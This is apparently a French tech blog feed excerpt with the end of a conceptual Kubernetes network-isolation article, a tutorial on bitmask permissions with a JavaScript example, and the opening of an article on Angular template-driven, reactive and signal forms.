<li><p>il permet de séparer des applications ou des équipes (par exemple <code>paiement</code>, <code>marketing</code>, <code>data</code>) ;</p>
</li>
<li><p>il sert de base à d’autres mécanismes comme <strong>RBAC</strong> (droits par namespace) ou les <strong>quotas</strong> (limites de ressources par namespace).</p>
</li>
</ul>
<p>⚠️ <strong>Attention</strong> : Un namespace <strong>ne fournit pas, en soi, une isolation réseau</strong>. Par défaut, un pod dans un namespace peut tout à fait parler à un pod dans un autre namespace. Rien, au niveau réseau, n’empêche un flux d’un namespace vers un autre. Pour obtenir un vrai cloisonnement de trafic entre namespaces, il faut ajouter une couche de politiques réseau (NetworkPolicies) et s’assurer que le CNI les applique correctement.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761836669039/55956b19-020c-4328-9c75-5e4d2437811e.png" alt="" style="display:block;margin:0 auto" />

<p>On peut voir les namespaces comme un <strong>cadre logique</strong> : ils organisent les objets, structurent qui a le droit de faire quoi, et servent souvent de frontière “administrative”.</p>
<p>Dans le cadre d’un audit ou d’un pentest Kubernetes, il est fréquent d’obtenir l’accès à un compte n’ayant des privilèges que sur un namespace donné. Le enjeu pour l’auditeur devient alors de voir s’il est possible de sortir de ce périmètre logique et d’influencer, directement ou indirectement, des objets situés dans d’autres namespaces auxquels ce compte n’aurait pas dû avoir accès au départ.</p>
<h3>Cloisonnement réseau</h3>
<p>Jusqu’ici, le réseau Kubernetes a été présenté comme un grand espace où les pods peuvent tous se parler. C’est pratique pour démarrer, mais dès qu’on parle sécurité, cette caractéristique devient un problème : <strong>par défaut, le cluster est très ouvert</strong>. Un pod peut contacter n’importe quel autre pod, dans n’importe quel namespace (notion que , et sortir vers l’extérieur tant que le réseau sous-jacent le permet. Kubernetes ne met pas en place de cloisonnement réseau automatique entre applications. C’est pour pallier à ce problème qu’existent les objets Kubernetes “NetworkPolicies**”**, qui permettent de décrire explicitement quels flux sont autorisés, et donc de refermer progressivement ce grand espace ouvert.</p>
<p><strong>Network Policies</strong></p>
<p>Une <strong>NetworkPolicy</strong> est un objet Kubernetes qui décrit, pour un ensemble de pods donné, quel trafic réseau est autorisé à entrer (ingress) et/ou à sortir (egress). On peut la voir comme un pare-feu “logique”. Concrètement, une NetworkPolicy ne s’applique pas à tout le cluster, mais à un groupe de pods ciblés.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763132015564/7b2d8965-bac1-4f34-9023-c9a80957119d.png" alt="" style="display:block;margin:0 auto" />

<p>Un point souvent mal compris est que les NetworkPolicies fonctionnent de manière <strong>restrictive</strong>. Tant qu’aucune NetworkPolicy ne cible un pod, ce pod reste dans le modèle ouvert : il peut parler à tout le monde. En revanche, dès qu’au moins une NetworkPolicy s’applique à lui, tout ce qui n’est pas explicitement autorisé par au moins une règle est, en pratique, bloqué (à condition que le CNI supporte les NetworkPolicies, ce qui n’est pas le cas de tous comme on l’a vu plus haut).</p>
<p><strong>Exemple d’utilisation</strong> :</p>
<ul>
<li><p>autoriser un frontend à parler à un backend mais pas directement à la base de données</p>
</li>
<li><p>empêcher un namespace “dev” de joindre un namespace “prod”</p>
</li>
<li><p>limiter la sortie vers Internet à quelques services externes bien identifiés.</p>
</li>
</ul>
<p>Vu sous l’angle d’un auditeur ou d’un attaquant, la présence ou l’absence de NetworkPolicies fait une énorme différence : sans elles, un pod compromis peut très facilement explorer le cluster et tenter de joindre n’importe quel autre service. Avec des NetworkPolicies, ses mouvements latéraux sont beaucoup plus contraints et dépendent des flux explicitement prévus par les règles.</p>
<h3><strong>Exemple analogique simple</strong></h3>
<p>On peut voir un cluster Kubernetes comme un immeuble de bureaux :</p>
<ul>
<li><p>Les <strong>namespaces</strong>, ce sont les <strong>départements</strong> (Marketing, Finance, IT).</p>
</li>
<li><p>Les <strong>objets Kubernetes</strong> (Pods, Services, Secrets, ConfigMaps, etc.) sont les <strong>dossiers, applis et coffres</strong> de chaque département.</p>
</li>
<li><p>Les <strong>ServiceAccounts / droits RBAC</strong>, ce sont les <strong>badges</strong> qui permettent d’agir sur ces dossiers et coffres.</p>
</li>
<li><p>Le <strong>réseau</strong>, ce sont les <strong>couloirs</strong> qui relient toutes les pièces.</p>
</li>
<li><p>Les <strong>NetworkPolicies</strong>, ce sont les <strong>portes et tourniquets</strong> dans ces couloirs.</p>
</li>
</ul>
<img src="https://lh3.googleusercontent.com/gg-dl/ABS2GSmjbwWhJmrzHnP0mJ4Mo6uXBp0mceAmfPcOT2d2MRCXmifYf7orJ3wAWu_0b0IS_QNX3n6LmjPljkiABWOo4mwjaOUy34sZQ3cpSPeiA43dj8w_Ef4yVcMLjmY_i8YFJpEMu3z8DnRwtHD8kwbbHoMgJ0VTCnxjyrcc6xY5aQ9J5q-y_g=s1024-rj" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765816791636/611de63e-cece-4534-91ba-913ca692dee3.jpeg" alt="" style="display:block;margin:0 auto" />

<p>Si les couloirs sont totalement ouverts (pas de NetworkPolicies), n’importe qui peut sortir de son bureau, se balader dans l’immeuble et entrer dans d’autres pièces. On n’ouvre pas directement tous les coffres d’un autre département, mais on peut atteindre des postes, des applis internes ou des armoires où traînent des <strong>badges</strong>. Une fois un badge trouvé, ce n’est plus le réseau qui limite, mais le <strong>cloisonnement logique</strong> (namespaces + RBAC) : ce badge peut alors permettre d’agir sur les objets d’un autre département.</p>
<h2><strong>Conclusion</strong></h2>
<p>Dans cet article, le cluster Kubernetes a été présenté sous l’angle du réseau et du cloisonnement : réseaux des nœuds, des pods et des services, chemins d’entrée et de sortie, exposition des applications, namespaces, NetworkPolicies et leurs impacts en matière d’attaque et de défense. L’objectif était de construire un modèle mental simple pour comprendre “qui peut parler à qui”, par où une application peut être atteinte, et comment un manque de cloisonnement logique ou réseau peut ouvrir la porte à des mouvements latéraux.</p>
<p>Dans la suite de cette série, le point de vue sera plus frontalement orienté <strong>pentest</strong>. À partir de ces bases, il sera alors possible de dérouler une véritable <strong>roadmap de reconnaissance et d’attaque</strong> sur un cluster Kubernetes : cartographier les surfaces d’exposition, identifier les chemins réseau intéressants, abuser des configurations faibles, chercher des escalades de privilèges entre namespaces et, plus globalement, comprendre comment une compromission locale peut se transformer en prise de contrôle beaucoup plus large du cluster.</p>
]]></content:encoded></item><item><title><![CDATA[Un seul nombre pour les gouverner tous : Le secret du Bitmask]]></title><description><![CDATA[L'énigme du serveur de pizza

Pourquoi nos méthodes classiques saturent

L'escalier des puissances (Comprendre le binaire)

La théorie des interrupteurs

Le Défi du "Super-Admin" (Jeu du Décodeur)

Cu]]></description><link>https://niji.tech/le-secret-du-bitmask</link><guid isPermaLink="true">https://niji.tech/le-secret-du-bitmask</guid><category><![CDATA[design patterns]]></category><dc:creator><![CDATA[Meoni Christophe]]></dc:creator><pubDate>Thu, 26 Feb 2026 14:34:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68d68dd2fd6cc53de1642896/cb865306-a6df-45ba-a751-0e69b689575a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<ol>
<li><p>L'énigme du serveur de pizza</p>
</li>
<li><p>Pourquoi nos méthodes classiques saturent</p>
</li>
<li><p>L'escalier des puissances (Comprendre le binaire)</p>
</li>
<li><p>La théorie des interrupteurs</p>
</li>
<li><p>Le Défi du "Super-Admin" (Jeu du Décodeur)</p>
</li>
<li><p>Culture G : Le secret du <code>chmod</code></p>
</li>
<li><p>La Forge : Transformer la Théorie en Code</p>
<ol>
<li><p>La Représentation Mémoire</p>
</li>
<li><p>Les 4 Opérations Fondamentales (La logique bit-à-bit)</p>
</li>
<li><p>Exemple Concret en JavaScript : Système de Permissions</p>
</li>
<li><p>Pourquoi c'est le "Graal" de l'optimisation ?</p>
</li>
</ol>
</li>
<li><p>Le Verdict : Quand l'utiliser ?</p>
</li>
</ol>
<hr />
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769415532043/dc59a2ce-0120-4275-8f1e-4f35432411de.png" alt="" style="display:block;margin:0 auto" />

<h2>1. L'énigme du serveur de pizza</h2>
<p>Imaginez que vous êtes serveur dans une pizzeria bondée. Un client commande une pizza personnalisée. Au lieu de vous lister les ingrédients un par un ("Je veux des olives, du fromage, mais pas d'anchois..."), il vous tend un petit ticket avec un seul chiffre écrit dessus : <strong>21</strong>.</p>
<p>Grâce à ce seul chiffre, vous savez instantanément qu'il veut des <strong>olives</strong>, du <strong>fromage</strong> et des <strong>oignons</strong>.</p>
<p><strong>Comment est-ce possible ?</strong> Chaque ingrédient de la cuisine possède une valeur unique qui double à chaque fois : l'Olive vaut <strong>1</strong>, le Fromage vaut <strong>4</strong> et l'Oignon vaut <strong>16</strong>. En lui donnant le nombre <strong>21</strong> (1 + 4 + 16), le client a créé une combinaison unique que seul ce mélange peut produire.</p>
<p>C'est là tout le secret du <strong>Bitmasking</strong> : compacter une liste de choix multiples en un seul nombre entier. Pas de listes à rallonge, pas de cases à cocher, juste un chiffre qui contient toute l'information.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769417350496/54645bae-e5a1-4d19-b014-2d3cbda16f2b.png" alt="" style="display:block;margin:0 auto" />

<h2>2. Pourquoi nos méthodes classiques saturent ?</h2>
<p>Dès qu'on doit stocker des choix multiples (ex: "Quels jours ce magasin est-il ouvert ?"), on tombe dans trois pièges :</p>
<ul>
<li><p><strong>L'étalage</strong> : Créer une colonne par jour (<code>is_monday</code>, <code>is_tuesday</code>...). C'est lourd, rigide, et votre table devient illisible dès que vous avez plus de 10 options.</p>
</li>
<li><p><strong>La toile d'araignée</strong> : Créer des tables de liaison complexes. Pour chaque vérification, vous devez faire une jointure (<code>JOIN</code>), ce qui consomme énormément de CPU et de mémoire RAM lors des grosses montées en charge.</p>
</li>
<li><p><strong>Le "poids lourd" JSON</strong> : Stocker un tableau <code>["Lundi", "Mardi"]</code> dans un champ JSON.</p>
<ul>
<li><p><strong>Le problème</strong> : C'est extrêmement gourmand en espace (chaque lettre pèse 1 octet).</p>
</li>
<li><p><strong>L'impact</strong> : Pour filtrer, la base de données doit souvent "parser" (lire et interpréter) le texte de chaque ligne, ce qui rend vos index volumineux et vos recherches beaucoup plus lentes qu'un simple calcul mathématique.</p>
</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769417507858/a7881fcf-5bd9-411d-aefd-eb5bc028c8c5.png" alt="" style="display:block;margin:0 auto" />

<h2>3. L'escalier des puissances : Pourquoi 1, 2, 4, 8... ?</h2>
<p>Le secret du Bitmask, c'est que l'ordinateur lit les nombres de <strong>droite à gauche</strong>, comme s'il montait un escalier où chaque marche est deux fois plus grande que la précédente.</p>
<p>Imaginez une rangée de boîtes :</p>
<ul>
<li><p>La boîte tout à droite (<strong>Bit Faible</strong>) vaut <strong>1</strong> (2^0).</p>
</li>
<li><p>Chaque boîte à sa gauche est un "doublé" de la précédente : <strong>2, 4, 8, 16, 32...</strong></p>
</li>
</ul>
<p>C'est ce qui rend le système infaillible : comme chaque marche est plus haute que la somme de toutes les marches inférieures, il n'y a <strong>qu'un seul chemin binaire possible</strong> pour atteindre un nombre.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769417530564/605ee560-fa72-466e-945b-de9525a70141.png" alt="" style="display:block;margin:0 auto" />

<h2>4. La théorie des interrupteurs</h2>
<p>Le Bitmask repose sur cette logique : chaque option est un interrupteur.</p>
<table style="min-width:50px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><th><p>Option</p></th><th><p>Valeur</p></th></tr><tr><td><p><strong>Lundi</strong></p></td><td><p>1</p></td></tr><tr><td><p><strong>Mardi</strong></p></td><td><p>2</p></td></tr><tr><td><p><strong>Mercredi</strong></p></td><td><p>4</p></td></tr><tr><td><p><strong>Jeudi</strong></p></td><td><p>8</p></td></tr><tr><td><p><strong>Vendredi</strong></p></td><td><p>16</p></td></tr></tbody></table>

<p>Si vous allumez <strong>Lundi (1)</strong>, <strong>Mercredi (4)</strong> et <strong>Vendredi (16)</strong>, vous obtenez <strong>21</strong>.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769417570974/ecd16b86-3769-4181-9457-7492584ab18d.png" alt="" style="display:block;margin:0 auto" />

<h2>5. Le Défi du "Super-Admin"</h2>
<p>Vous gérez une plateforme SaaS. Les droits d'un utilisateur sont résumés par un seul nombre. Voici la grille des pouvoirs :</p>
<ul>
<li><p><strong>1</strong> : Lecture | <strong>2</strong> : Écriture | <strong>4</strong> : Suppression | <strong>8</strong> : Gestion Membres</p>
</li>
<li><p><strong>16</strong> : Facturation | <strong>32</strong> : API Développeur | <strong>64</strong> : Support</p>
</li>
</ul>
<p><strong>L'énigme :</strong> Un utilisateur a le score de <strong>51</strong>. Quels sont ses pouvoirs ?</p>
<p><strong>La solution :</strong> On décompose par les plus grandes puissances possibles :</p>
<ol>
<li><p><strong>51</strong> contient <strong>32</strong> (API). Reste 19.</p>
</li>
<li><p><strong>19</strong> contient <strong>16</strong> (Facturation). Reste 3.</p>
</li>
<li><p><strong>3</strong> contient <strong>2</strong> (Écriture). Reste 1.</p>
</li>
<li><p><strong>1</strong> contient <strong>1</strong> (Lecture).</p>
</li>
</ol>
<p><strong>Résultat :</strong> Cet utilisateur possède exactement 4 droits : <strong>API Développeur, Facturation, Écriture et Lecture</strong>.</p>
<p><em>(Notez qu'il n'a ni le droit de Suppression (4), ni la Gestion des Membres (8), ni le Support (64) car ces chiffres ne "rentrent" pas dans le calcul).</em></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769417612503/55f25ef6-6fa1-4065-9cb4-5204f0649f75.png" alt="" style="display:block;margin:0 auto" />

<h2>6. Le saviez-vous ? Le secret du <code>chmod</code></h2>
<p>Le fameux droit Linux <code>chmod 777</code> ?</p>
<ul>
<li><strong>4</strong> (Lecture) + <strong>2</strong> (Écriture) + <strong>1</strong> (Exécution) = <strong>7</strong>. C'est le bitmask le plus célèbre au monde, utilisé sur presque tous les serveurs de la planète.</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770225298607/1a937f26-9fd7-40aa-adcc-5c681da4b182.png" alt="" style="display:block;margin:0 auto" />

<h2>7 La Forge : Transformer la Théorie en Code</h2>
<h3>1. La Représentation Mémoire</h3>
<p>En informatique, un entier de type <code>int</code> en Java occupe 32 bits (4 octets). Ce n'est pas juste un nombre, c'est un tableau de 32 cases (bits) que l'on peut manipuler individuellement.</p>
<p>Chaque position correspond à une puissance de 2, de droite à gauche :</p>
<p>2^{31} ... 2^5, 2^4, 2^3, 2^2, 2^1, 2^0</p>
<h3>2. Les 4 Opérations Fondamentales (La logique bit-à-bit)</h3>
<p>En tant qu'ingénieur, vous utilisez des <strong>opérateurs binaires</strong>. C'est ce qui rend le Bitmask plus rapide que n'importe quelle autre méthode : ces opérations sont traitées directement par l'Unité Arithmétique et Logique (ALU) du processeur en un seul cycle d'horloge.</p>
<table style="min-width:100px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><th><p><strong>Opération</strong></p></th><th><p><strong>Opérateur Java</strong></p></th><th><p><strong>Rôle technique</strong></p></th><th><p><strong>Analogie</strong></p></th></tr><tr><td><p><strong>SET</strong></p></td><td><p>`</p></td><td><p>` (OR)</p></td><td><p>Force un bit à <strong>1</strong>.</p></td></tr><tr><td><p><strong>CHECK</strong></p></td><td><p><code>&amp;</code> (AND)</p></td><td><p>Vérifie si un bit est à <strong>1</strong>.</p></td><td><p>"Tester le courant."</p></td></tr><tr><td><p><strong>CLEAR</strong></p></td><td><p><code>&amp; ~</code> (AND NOT)</p></td><td><p>Force un bit à <strong>0</strong>.</p></td><td><p>"Couper l'interrupteur."</p></td></tr><tr><td><p><strong>TOGGLE</strong></p></td><td><p><code>^</code> (XOR)</p></td><td><p>Inverse l'état du bit.</p></td><td><p>"Basculer l'état."</p></td></tr></tbody></table>

<h3>3. Exemple Concret en JavaScript : Système de Permissions</h3>
<p>Voici comment implémenter un système de permissions performant et thread-safe.</p>
<pre><code class="language-javascript">/**
 * Gestionnaire de permissions basé sur les masques binaires (Bitmask).
 * * ⚠️ LIMITATION TECHNIQUE IMPORTANTE :
 * En JavaScript, les opérateurs bitwise (| &amp; &lt;&lt;) traitent les nombres comme des
 * entiers signés de 32 bits. 
 * - Capacité maximale : 31 permissions (Bits 0 à 30).
 * - Le 32ème bit (1 &lt;&lt; 31) est le bit de signe (rend le nombre négatif).
 * - Le 33ème bit (1 &lt;&lt; 32) provoque un dépassement et revient au bit 0.
 * * Si vous avez besoin de &gt;31 permissions, migrez vers BigInt.
 */
class PermissionManager {
    // 1. Définition des flags en 'static readonly' (par convention)
    static READ    = 1 &lt;&lt; 0; // 1
    static WRITE   = 1 &lt;&lt; 1; // 2
    static DELETE  = 1 &lt;&lt; 2; // 4
    static ADMIN   = 1 &lt;&lt; 3; // 8
    // 2. Champ privé (#) : Impossible d'y accéder ou de le modifier depuis l'extérieur
    #userMask = 0;
    constructor(initialPermissions = 0) {
        this.#userMask = initialPermissions;
    }

    // Ajouter des permissions
    grant(permissions) {
        this.#userMask |= permissions;
        return this; // Permet le chainage
    }

    // Vérifier si TOUTES les permissions demandées sont présentes
    can(permissions) {
        return (this.#userMask &amp; permissions) === permissions;
    }

    // Vérifier si AU MOINS UNE des permissions demandées est présente
    canAny(permissions) {
        return (this.#userMask &amp; permissions) !== 0;
    }

    // Retirer une permission
    revoke(permissions) {
        this.#userMask &amp;= ~permissions;
        return this;
    }

    // Debug : Retourne la liste des noms de permissions actives
    list() {
        const names = [];
        for (const [key, value] of Object.entries(PermissionManager)) {
            if (this.can(value)) names.push(key);
        }
        return names;
    }
    // Getter pour le masque (lecture seule)
    get mask() {
        return this.#userMask;
    }

}

// --- Utilisation ---
const user = new PermissionManager();

// Ajout des permissions avec chaînage possible
user.grant(PermissionManager.READ | PermissionManager.WRITE)
    .grant(PermissionManager.DELETE);
console.log("Permissions actuelles :", user.list()); // ["READ", "WRITE", "DELETE"]

// Vérification des permissions 
if (user.can(PermissionManager.READ | PermissionManager.WRITE)) {
    console.log("✅ Peut lire ET écrire");
}

// Retirer une permission
user.revoke(PermissionManager.WRITE);
console.log("Après retrait WRITE :", user.list()); // ["READ", "DELETE"]

// Tentative de fraude :
user.userMask = 999; // Ne fonctionne pas car #userMask est privé
console.log(user.mask); // Affiche toujours la valeur réelle
</code></pre>
<h3>4. Pourquoi c'est le "Graal" de l'optimisation ?</h3>
<ol>
<li><p><strong>Cache Locality</strong> : Un <code>int</code> tient dans le cache L1 du processeur. Comparé à une <code>ArrayList&lt;String&gt;</code> ou une table de jointure SQL qui nécessite des accès RAM coûteux, le Bitmask est <strong>instantané</strong>.</p>
</li>
<li><p><strong>Compactage</strong> : Vous pouvez stocker 32 réglages "Oui/Non" dans l'espace d'un seul chiffre. Pour une base de données de 100 millions de lignes, l'économie de stockage se compte en Gigaoctets.</p>
</li>
<li><p><strong>Filtrage Spatial</strong> : En SQL, l'indexation binaire permet de trouver des profils multi-critères (ex: "Tous les Admins qui ont aussi le droit Delete") sans jamais scanner toute la table.</p>
</li>
</ol>
<hr />
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769417642553/72527f1b-b232-474d-a89b-82e94a5f1d6e.png" alt="" style="display:block;margin:0 auto" />

<h2>8. Le verdict : Faut-il l'utiliser ?</h2>
<table style="min-width:50px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><th><p>✅ Foncez si...</p></th><th><p>❌ Évitez si...</p></th></tr><tr><td><p>Vos options sont <strong>fixes</strong> (Jours, Permissions).</p></td><td><p>Vos options sont <strong>dynamiques</strong> (Tags produits).</p></td></tr><tr><td><p>Vous avez des <strong>millions de lignes</strong> à filtrer.</p></td><td><p>Vous avez besoin de <strong>lisibilité humaine</strong> directe.</p></td></tr><tr><td><p>Vous voulez optimiser le stockage.</p></td><td><p>Vous dépassez <strong>64 options</strong> différentes.</p></td></tr></tbody></table>

<hr />
<p><strong>Pour les cas où la logique s'y prête un seul nombre bien choisi peut piloter efficacement et élégamment une partie de votre logique, vous faisant l'économie d'une complexité inutile.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Angular Signal Forms : Moins de complexité, plus de contrôle]]></title><description><![CDATA[Les sujets que l’on peut trouver dans cet article :

Comment l’évolution de la gestion de state dans Angular reflète la gestion des formulaires

Vue d’ensemble des template driven forms

Vue d’ensemble des reactive forms

Vue d’ensemble des signal fo...]]></description><link>https://niji.tech/signals-angular-more-control-less-complexity</link><guid isPermaLink="true">https://niji.tech/signals-angular-more-control-less-complexity</guid><category><![CDATA[Signal Forms]]></category><category><![CDATA[State Management ]]></category><dc:creator><![CDATA[Ana]]></dc:creator><pubDate>Wed, 11 Feb 2026 16:30:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767963553722/81e5d4fa-f88c-4888-867c-6d35c5d361f0.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-les-sujets-que-lon-peut-trouver-dans-cet-article">Les sujets que l’on peut trouver dans cet article :</h3>
<ul>
<li><p>Comment l’évolution de la gestion de <em>state</em> dans Angular reflète la gestion des formulaires</p>
</li>
<li><p>Vue d’ensemble des template driven forms</p>
</li>
<li><p>Vue d’ensemble des reactive forms</p>
</li>
<li><p>Vue d’ensemble des signal forms</p>
</li>
<li><p>Exploration de l’API des signal forms</p>
</li>
<li><p>Gestion des erreurs dans les signal forms</p>
</li>
</ul>
<p>Dans le précédent article <a target="_blank" href="https://niji.tech/signals-angular-reacting-simplified">Signals, La Réactivité d’Angular Simplifiée</a>, nous avons examiné le développement de la gestion de <em>state</em> dans Angular. Nous avons mentionné comment AngularJS reposait sur le two-way data binding pour le partage de <em>state</em>, puis nous sommes passés à Angular moderne qui a introduit une gestion structurée de <em>state</em> utilisant <code>@Input</code> et <code>@Output</code> pour la communication parent-enfant, ainsi que RxJS et des bibliothèques comme <code>@ngrx/store</code> pour imposer un flux de données unidirectionnel basé sur des observables.<br />Plus récemment, Angular Signals a simplifié la gestion de <em>state</em> en offrant une réactivité fine avec moins de boilerplate et un flux de données plus clair.</p>
<p>Nous commencerons par les template-driven forms, où le template était au premier plan et porteur de la logique, puis nous examinerons les reactive forms, où cette logique migre vers la classe, jusqu’aux signal forms, où le <em>state</em> du formulaire devient finement granulaire et plus réactif. Avec les signals, on observe une simplification de l’implémentation et un changement fondamental : la responsabilité de lire le <em>state</em> passe du template, à la classe, à une fonction fine-grained (signal) qui est elle-même un <em>state</em> qui réagit, notifie et compose le <em>state</em>.</p>
<p>Avant d’entrer dans une exploration approfondie de l’évolution de la gestion de l’état dans Angular, il est important de noter que les <em>Signal Forms</em> sont encore <strong>expérimentaux</strong>. Leur API n’est pas encore finalisée et peut évoluer entre les versions. La documentation disponible reste incomplète. En raison de cette maturité limitée, il convient de rester prudent aux changements si vous les utilisez dans des projets importants.</p>
<h3 id="heading-template-driven-forms">Template driven forms</h3>
<p>Les template driven forms ont été introduits en 2016 dans la première version d’Angular2+. AngularJS avait un système de formulaires différent basé sur le two-way data binding. On retrouve la même idée dans les template driven forms, où l’API est un peu modernisée pour s’adapter à la direction d’Angular2+. Le two-way binding reste au cœur de l’idée, mais nous disposons maintenant de <code>ngForm</code> et <code>ngModel</code> « out of the box ». Mais comment cela fonctionne-t-il ?</p>
<p>La "logique" réside dans le template, car notre HTML définit le formulaire. <code>ngForm</code> et <code>ngModel</code> sont des directives qu’Angular instancie et configure pour le two-way binding. Ces directives analysent le DOM à l’initialisation du composant et mettent en place les form controls. Nous ne créons pas de variables pour stocker le <em>state</em> du formulaire dans notre classe et nous n’avons pas de <code>formControl</code> visible. Angular crée implicitement une instance de <code>formControl</code> pour chaque input via <code>ngModel</code>.</p>
<p>Le template est également responsable de la validation du formulaire, avec des directives comme <code>required</code> placées directement dans le template. La réactivité de notre formulaire est limitée et implicite. Les mises à jour (inputs utilisateur) se propagent automatiquement via <code>ngModel</code>, mais le flux lui-même n’est pas contrôlé. Angular met à jour le composant lorsque la détection des changements est déclenchée (lorsque l’utilisateur tape dans le formulaire), mais gérer les changements de manière programmatique devient plus complexe.</p>
<p>Faisons un rappel sur le fonctionnement des template driven forms :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component } <span class="hljs-keyword">from</span> <span class="hljs-string">"@angular/core"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">interface</span> User {
  firstName: <span class="hljs-built_in">string</span>;
  lastName: <span class="hljs-built_in">string</span>;
}

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">"my-app"</span>,
  templateUrl:<span class="hljs-string">`
  &lt;h1&gt;Template Driven Forms&lt;/h1&gt;
  &lt;form #userForm="ngForm"&gt;
    &lt;input required [(ngModel)]="user.firstName" /&gt;
    &lt;input required [(ngModel)]="user.lastName" /&gt;
    &lt;button type="button" (click)="submit()"&gt;Submit&lt;/button&gt;
  &lt;/form&gt;

  &lt;h3&gt;Form value&lt;/h3&gt;
  {{user | json}}

  &lt;h3&gt;Form states&lt;/h3&gt;
  &lt;p&gt;Valid: {{userForm.valid}}&lt;/p&gt;
  &lt;p&gt;Pristine:  {{userForm.pristine}}&lt;/p&gt;
  &lt;p&gt;Touched:  {{userForm.touched}}&lt;/p&gt;
  &lt;p&gt;Submitted: {{userForm.submitted}}&lt;/p&gt;"`</span>,
  styleUrls: [<span class="hljs-string">"./app.component.css"</span>]
})

<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> AppComponent {
  user: User = {
    firstName: <span class="hljs-string">"Jane"</span>,
    lastName: <span class="hljs-string">"Black"</span>
  };

  submit() {
    alert(<span class="hljs-string">`
    Form submitted 
    with lastName <span class="hljs-subst">${<span class="hljs-built_in">this</span>.user.lastName}</span> 
    and firstName <span class="hljs-subst">${<span class="hljs-built_in">this</span>.user.firstName}</span>`</span>
    );
  }
}
</code></pre>
<p>Nous ne déclarons pas notre formulaire dans le composant. Le template pilote les changements et contient le modèle du formulaire. Angular voit d’abord le formulaire avec <code>#</code>, puis instancie une directive <code>ngForm</code>. Ensuite, en lisant les inputs, il instancie la directive <code>NgModel</code>, qui effectue un two-way data binding avec le modèle de données (dans notre cas <code>user</code>) déclaré dans la classe du composant.</p>
<p>Les validateurs sont automatiquement liés aux contrôles. Pour assurer la connexion entre <code>ngModel</code> et le DOM, Angular s’appuie sur <code>ControlValueAccessor</code>, un mécanisme caché derrière les template driven forms et les reactive forms.</p>
<p>Voyons rapidement son interface :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">interface</span> ControlValueAccessor {
  writeValue(obj: <span class="hljs-built_in">any</span>): <span class="hljs-built_in">void</span>;
  registerOnChange(fn: <span class="hljs-built_in">any</span>): <span class="hljs-built_in">void</span>;
  registerOnTouched(fn: <span class="hljs-built_in">any</span>): <span class="hljs-built_in">void</span>;
  setDisabledState?(isDisabled: <span class="hljs-built_in">boolean</span>): <span class="hljs-built_in">void</span>;
}
</code></pre>
<p>On peut constater que c’est le <code>ControlValueAccessor</code> qui lit et écrit la valeur, tout en gérant également ses validations en enregistrant <code>onChange</code> et <code>onTouched</code>.</p>
<p>Les <strong>template driven forms</strong> reposent sur le template pour gérer le state et la validation, en utilisant <code>ngForm</code> et <code>ngModel</code> pour le two-way binding implicite. Elles sont simples à mettre en place, mais offrent une réactivité limitée et un contrôle programmatique moins précis.</p>
<p>Pour répondre à ces limites, Angular propose les <strong>reactive forms</strong>, qui permettent de définir explicitement le modèle de formulaire dans la classe du composant et de le connecter directement au template via <code>FormControl</code>. Examinons de plus près les mécanismes qui sous-tendent cette approche plus structurée et réactive.</p>
<h3 id="heading-reactive-forms">Reactive forms</h3>
<p>Dans les reactive forms d’Angular, le modèle évolue : ce n’est plus le template qui est responsable, mais la classe qui prend en charge le formulaire. Notre formulaire est maintenant défini explicitement dans la classe avec TypeScript. Le template se contente de rendre le modèle du formulaire, tandis que la « source de vérité » (<em>source of truth</em>) réside désormais dans notre fichier <code>.ts</code>.</p>
<p>Les reactive forms sont construits autour de flux observables et peuvent être consultés de manière asynchrone. Cela représente un changement par rapport aux template driven forms, où l’API ne fournissait pas de manière explicite un moyen de s’abonner aux changements d’un input.</p>
<p>C’est pourquoi, dans les reactive forms, nous pouvons nous abonner aux changements de la valeur d’un input.</p>
<pre><code class="lang-typescript">form.valueChanges.subscribe(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(value);
});
</code></pre>
<p>Notre <code>formControl</code> utilise toujours <code>ControlValueAccessor</code>, mais il peut maintenant être manipulé et utilisé de manière programmatique dans la classe de notre composant.<br /><code>NgModel</code> est remplacé par <code>formGroup</code> (ou <code>formArray</code>), créés explicitement dans le fichier <code>.ts</code> et qui contiennent le <em>state</em>. Tous les éléments des reactive forms étendent <code>AbstractControl</code>. Contrairement à la directive <code>ngModel</code> utilisée dans les template driven forms, les reactive forms étendent <code>AbstractControl</code>, qui est un objet représentant le <em>state</em> et les règles et qui n’a pas à se soucier de la vue.</p>
<p>Chaque <code>AbstractControl</code> expose deux observables que nous pouvons utiliser pour suivre la valeur de notre formulaire : <code>valueChanges</code> et <code>statusChanges</code>.<br />Mélanger modèle et vue, comme dans les template forms, rendait les tests difficiles et le <em>state</em> « caché » dans la directive difficile à déboguer. Avec les reactive forms, on observe une séparation plus claire entre modèle et vue : pour chaque modèle (<code>AbstractControl</code>), nous avons une directive côté vue et un <code>ControlValueAccessor</code> pour faire le lien entre les deux.</p>
<ul>
